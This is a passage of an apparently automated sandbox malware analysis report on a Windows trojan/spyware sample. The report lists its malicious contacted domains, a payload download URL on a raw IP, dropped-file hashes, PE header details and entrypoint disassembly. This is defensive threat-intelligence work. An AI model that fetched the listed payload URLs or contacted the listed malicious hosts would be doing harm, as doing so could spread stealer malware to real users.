https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.97.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
https://necklacedmny.store/api	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeS	file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1953493264.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947322570.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1746139831.0000000005490000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1746221265.0000000005489000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeI	file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1953493264.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947322570.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeA4T:	file.exe, 00000000.00000002.1952821188.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1746221265.0000000005464000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/~dJ	file.exe, 00000000.00000003.1865343973.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/api-	file.exe, 00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe&nT	file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exee	file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/api	file.exe, 00000000.00000002.1952490232.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/k	file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiE	file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1827684565.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1864908314.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947322570.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1827759348.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apiK	file.exe, 00000000.00000002.1952490232.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeeXn	file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiA4T:	file.exe, 00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1865170997.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/off/def.exeYw	file.exe, 00000000.00000002.1952490232.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiV	file.exe, 00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1746139831.0000000005490000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1746221265.0000000005489000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apia	file.exe, 00000000.00000003.1827684565.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1827759348.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/lg;	file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1864908314.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.microsof	file.exe, 00000000.00000003.1746139831.0000000005492000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000002.1952432962.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1746221265.0000000005464000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apim	file.exe, 00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/0914k	file.exe, 00000000.00000003.1865170997.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952821188.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544170
Start date and time:	2024-10-28 23:46:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@5/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 7348 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:47:00	API Interceptor	10x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://mail.kb4.io/XT0VNMzRJS3djRnBKZnFha1JaVThBUHFHRmpuS2FmSUY4aUszUlY3Sm0rWmpyUWR3ekQzL2xjN0xhVVJlTzhvZzgyMGtTUkxmSWtGdWlUY2I0NStmRWlLS2xHcGZsNTZUN3VyanNiKzVaNjhaeTRSTXFXVGdwc0J4amUxRFFPMU5DTTd5ejl5aXZxUlBwL1NDaDBRSk9DWVJkc09KRUZodTl0SFh5bFVVWEdYZTMzcm5ZTCtCSGpmZWRIMEprQjhiZExvOE9wSGkwUS9KTjQwSVdjQT0tLVBNYWNLTzcyT0xCdDkzb3ItLURlVmNvdGI3d3BGenM5UWJzc1EreXc9PQ==?cid=2260646675	Get hash	malicious	Unknown	Browse	104.18.90.62
	https://mail.kb4.io/XV2pCbFUvdkZ0U1V3cHZQWXpqL3hjTU9wcmY4ZmEyNXZRWTRiU1VvMTVwRnRrYWdnVjdlM0lLQ3VmVXlCSlpGdkkvQUNJWjZLaHpVWnRmYjY0VktjbmJLUFlpV0xzWTVEdkJsa1hrWXY0dGZHMUNoclZ3aDRORWlpQlNhTlpLSy9pdXMwQXozSHVrYSthQnJrS2J6T0EvSVBMYUFYRG1EZ254WlBRUGdyZU55TkdBZjB0aWhCMFdIN081T2RsdFFIMVpIdFAvU2Q2NXlLKzNJY1JZQ1JNMTBwaDlZPS0tNE01L0hRZXp6Tm50TW1MTS0tSlkrYWNuVllJcXZpelZWZ2ppaVRSdz09?cid=2260646675	Get hash	malicious	Unknown	Browse	104.18.89.62
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Electronic_Receipt_ATT0001.virus.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	original.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://inspyrehomedesign.com	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://dl.dropboxusercontent.com/scl/fi/95is2w1ywjvorzayt88dp/DKM-0192PDF.zip?rlkey=svoej4s4tb5lwbnvthtgrmokl&st=d99zdn1k&dl=0	Get hash	malicious	Abobus Obfuscator	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2806784
Entropy (8bit):	6.497791507958474
Encrypted:	false
SSDEEP:	24576:x6XZW3lClcqdxuHdzc110V6HjgeWztwJ87m9Ezc/of7uk52rMGUTCyVJW5pLZIpk:sXS6rcc/086xl4ACyV092+3Gu
MD5:	A3987AF8779CFCADCA21B72BA0ADEE63
SHA1:	40EE79610F03C7BA5371335C25DB4BC3CE1DACAA
SHA-256:	2B61761716EC9027E5DED78106524AB74D7D9A21BA603AAFFF981F0A96DB9997
SHA-512:	B81157254E16ED0D51ECA41F70B3ED7F97860B607B70B5D0204E7E2F9230BF03FC6E8FE1CC43BAA8EBF7A59F79C7A929D895EF72D9AC2DF358407462319D0FDB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xibuiabq........t..:..............@...bskbuihx. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.499671486162831
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'962'432 bytes
MD5:	7fbccc99d0d932806001e586244a2753
SHA1:	b58bb94b12622d01fae96018591e22df1936dff8
SHA256:	c6690c94e09ae2e597e93ebf539fcbb69a287d2819c8d33d8ce99ad0291aa031
SHA512:	ff6f8a10ca0e54d40155737a42ec0db8a8777134b1f8c671eaacc8f3f33540ffa1d3caecffa06480573f4f38a7fc91cec0a61246bcae8179ad1db98a47b8df42
SSDEEP:	49152:EdJvT60Yhk/QfQ2LmxIxdEVSw4yKxH4Gh:Erv+0Yhk/J2IITEV34D9
TLSH:	B4D56C92F84BB2CFD8AA2674C927CD86799D47FA07104DC7E85D68B97E23CC111B6C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........@0...........@..........................p0...........@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x704000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1545078C6Ah
movlps xmm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
